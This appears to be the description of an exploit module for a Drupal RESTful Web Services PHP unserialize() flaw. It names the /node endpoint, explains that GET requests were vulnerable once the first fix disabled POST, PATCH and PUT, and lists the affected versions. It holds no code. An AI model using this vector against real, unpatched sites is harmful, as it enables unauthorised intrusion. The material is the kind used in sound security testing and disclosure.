        This module exploits a PHP unserialize() vulnerability in Drupal RESTful
        Web Services by sending a crafted request to the /node REST endpoint.

        As per SA-CORE-2019-003, the initial remediation was to disable POST,
        PATCH, and PUT, but Ambionics discovered that GET was also vulnerable
        (albeit cached). Cached nodes can be exploited only once.

        Drupal updated SA-CORE-2019-003 with PSA-2019-02-22 to notify users of
        this alternate vector.

        Drupal < 8.5.11 and < 8.6.10 are vulnerable.
